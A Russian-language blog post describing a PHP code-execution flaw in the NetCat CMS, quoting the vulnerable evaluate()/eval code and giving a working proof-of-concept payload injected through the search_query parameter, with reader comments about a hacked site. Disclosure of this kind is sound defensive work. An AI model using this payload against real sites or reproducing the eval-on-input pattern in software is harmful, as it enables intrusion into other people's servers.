Критическая уязвимость NetCat

4 комментария

Буквально сегодня один из моих клиентов написал мне что его сайт взломали. Чесно говоря меня это сильно удивило. Настолько сильно что я попросил клиента скинуть логи с его сервера за период когда его сайт ломали.

В логах нашел интересную запись подтверждающую то что в Неткате все таки была критическая уязвимость.

И присутствует она как минимум в версии Extra 4.5.2. Надо проверить залатана ли эта дырка в последней версии, но чесно говоря немного лень.

В гугле оказывается про эту дырку уже давным давно известно:
NetCat «search_query» PHP Code Execution

Как оно работает

Сегодня поизучал исходный код и нашел откуда растут ноги:

$default_templates = $this->evaluate(nc_search::get_setting('SearchFormTemplate'), 'searchform', $params);

И функция evaluate:

protected function evaluate($_code, $_return_var, array $_vars = array()) {
  extract($_vars);
  eval($_code);
  return $$_return_var;
}

И пришел к неутешительному выводу, что уязвимость все таки присутствует, и она крайне опасна!

Пример эксплуатации

Эксплоит:
http://vlunsite/search/?search_query={${phpinfo()}}
Информация приведена для ознакомления, за использование ее в противоправных целях, автор ответственности не несет.

Ксатати в NetCat 5.0 есть еще и SQL Injection.

Спасибо за внимание

  1. Андрей Сергеевич

    Сегодня нашел у себя на сайте два посторонних скрипта. Как с вами связатся? Хотелось бы проконсультироваться по этому поводу.

    1. Дмитрий Амиров Автор

      Честно говоря, уже не помню. Попробуйте поискать в коде грепом по именам функций. В статье, собсно, уязвимый код приведен. Поищите по нему.

Добавить комментарий

Прочли запись? Понравилась? Не стесняйтесь, оставьте, пожалуйста, свой комментарий. Мне очень интересно, что вы думаете об этом. Кстати в комментарии вы можете задать мне любой вопрос. Я обязательно отвечу.

Вы можете оставить коментарий анонимно, для этого можно не указывать Имя и email. Все комментарии проходят модерацию, поэтому ваш комментарий появится не сразу.